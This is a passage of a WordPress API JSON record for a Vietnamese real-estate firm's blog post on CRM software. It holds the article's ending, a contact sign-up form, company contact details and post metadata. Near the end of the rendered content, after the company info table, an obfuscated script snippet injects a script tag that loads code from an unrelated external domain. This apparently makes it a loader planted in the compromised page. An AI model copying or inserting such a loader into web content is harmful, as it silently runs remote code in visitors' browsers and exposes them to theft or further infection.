d\u1ef1ng m\u1ed1i quan h\u1ec7 l\u00e2u d\u00e0i v\u1edbi kh\u00e1ch h\u00e0ng, gi\u00fap t\u0103ng doanh thu l\u1ee3i nhu\u1eadn cho doanh nghi\u1ec7p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u0110\u0103ng k\u00fd \u0111\u1ec3 t\u00ecm hi\u1ec3u th\u00eam v\u1ec1 c\u00e1c t\u00ednh n\u0103ng n\u1ed5i b\u1eadt c\u1ee7a TMS b\u1ea5t \u0111\u1ed9ng s\u1ea3n m\u00e0 b\u1ea1n n\u00ean bi\u1ebft.<\/strong><\/p>\n\n\n\n<div class=\"wp-block-contact-form-7-contact-form-selector\">\n<div class=\"wpcf7 no-js\" id=\"wpcf7-f17726-o1\" lang=\"vi\" dir=\"ltr\" data-wpcf7-id=\"17726\">\n<div class=\"screen-reader-response\"><p role=\"status\" aria-live=\"polite\" aria-atomic=\"true\"><\/p> <ul><\/ul><\/div>\n<form action=\"\/blog\/wp-json\/wp\/v2\/posts\/31938#wpcf7-f17726-o1\" method=\"post\" class=\"wpcf7-form init\" aria-label=\"Form li\u00ean h\u1ec7\" novalidate=\"novalidate\" data-status=\"init\">\n<fieldset class=\"hidden-fields-container\"><input type=\"hidden\" name=\"_wpcf7\" value=\"17726\" \/><input type=\"hidden\" name=\"_wpcf7_version\" value=\"6.1.6\" \/><input type=\"hidden\" name=\"_wpcf7_locale\" value=\"vi\" \/><input type=\"hidden\" name=\"_wpcf7_unit_tag\" value=\"wpcf7-f17726-o1\" \/><input type=\"hidden\" name=\"_wpcf7_container_post\" value=\"0\" \/><input type=\"hidden\" name=\"_wpcf7_posted_data_hash\" value=\"\" \/><input type=\"hidden\" name=\"_wpcf7_recaptcha_response\" value=\"\" \/>\n<\/fieldset>\n<p>\u0110\u0102NG K\u00dd NH\u1eacN TH\u00d4NG TIN D\u1ef0 \u00c1N M\u1edaI NH\u1ea4T<br \/>\n<span class=\"wpcf7-form-control-wrap\" data-name=\"your-name\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-text wpcf7-validates-as-required\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"H\u1ecd t\u00ean\" value=\"\" type=\"text\" name=\"your-name\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"your-email\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"Email\" value=\"\" type=\"email\" name=\"your-email\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"tel-724\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-tel wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-tel\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"S\u1ed1 \u0111i\u1ec7n tho\u1ea1i\" value=\"\" type=\"tel\" name=\"tel-724\" \/><\/span>\n<\/p>\n<p><input class=\"wpcf7-form-control wpcf7-submit has-spinner\" type=\"submit\" value=\"\u0110\u0103ng k\u00fd\" \/>\n<\/p>\n<p><script>\ndocument.addEventListener( 'wpcf7mailsent', function( event ) {\n location = 'https:\/\/reti.vn\/blog\/thank-you-page\/';\n}, false );\n<\/script>\n<\/p><div class=\"wpcf7-response-output\" aria-hidden=\"true\"><\/div>\n<\/form>\n<\/div>\n<\/div>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>H\u1ea7u h\u1ebft c\u00e1c doanh nghi\u1ec7p, t\u1ed5 ch\u1ee9c \u0111\u1ec1u c\u00f3 m\u1ed9t h\u1ec7 th\u1ed1ng CRM (Customer Relationship Management), t\u1ee9c h\u1ec7 th\u1ed1ng qu\u1ea3n l\u00fd quan h\u1ec7 kh\u00e1ch h\u00e0ng. Ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng \u0111\u1ec3 theo d\u00f5i th\u00f4ng tin kh\u00e1ch h\u00e0ng, t\u00e0i li\u1ec7u kh\u00e1ch h\u00e0ng, c\u00e1c m\u1ed1i quan h\u1ec7 v\u00e0 giao d\u1ecbch ti\u1ec1m [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":31941,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20],"tags":[],"class_list":["post-31938","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tin-va-su-kien-noi-bo"],"external_url":"","amp_enabled":true,"featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/10\/Untitled-2-2-768x432-1.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/31938","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=31938"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/31938\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/31941"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=31938"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=31938"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=31938"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}